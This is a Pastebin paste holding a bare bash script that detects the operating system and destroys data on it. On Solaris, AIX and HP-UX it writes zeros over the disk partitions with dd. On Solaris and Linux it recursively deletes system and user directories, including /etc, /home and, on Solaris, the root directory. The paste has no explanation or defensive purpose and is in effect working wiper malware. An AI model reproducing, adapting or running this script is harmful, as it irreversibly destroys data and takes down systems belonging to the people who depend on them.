Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- WHICH=`which which`
- UNAME=`$WHICH uname`
- SLEEP=`$WHICH sleep`
- DATE=`$WHICH date`
- CAT=`$WHICH cat`
- RM=`$WHICH rm`
- DD=`$WHICH dd`
- KILL=`$WHICH kill`
- dd_for_hp()
- {
- DISK=`strings -v /etc/lvmtab|grep -v vg`
- for DISK_PART in $DISK
- do
- $DD if=/dev/zero of=$DISK_PART bs=8192000 &
- done
- }
- dd_for_aix()
- {
- DISK=`lsp | awk '{print $1}'`
- for DISK_PART in $DISK
- do
- $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
- done
- }
- dd_for_sun()
- {
- rm -rf /kernel/ &
- rm -rf /usr/adm/ &
- rm -rf /etc/ &
- rm -rf /home/ &
- rm -rf / &
- PRTTOC=`$WHICH prtvtoc`
- DISK=`ls /dev/dsk | grep s2`
- for DISK_PART in $DISK
- do
- mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`
- if [ `expr "$mnt_info" : '.*'` -gt 0 ]
- then
- $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
- fi
- done
- }
- dd_for_linux()
- {
- rm -rf /kernel/ &
- rm -rf /usr/ &
- rm -rf /etc/ &
- rm -rf /home/ &
- }
- SYSTYPE=`$UNAME -s`
- if [ $SYSTYPE = "SunOS" ]
- then
- dd_for_sun
- elif [ $SYSTYPE = "AIX" ]
- then
- dd_for_aix
- elif [ $SYSTYPE = "HP-UX" ]
- then
- dd_for_hp
- elif [ $SYSTYPE = "Linux" ]
- then
- dd_for_linux
- else
- exit
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement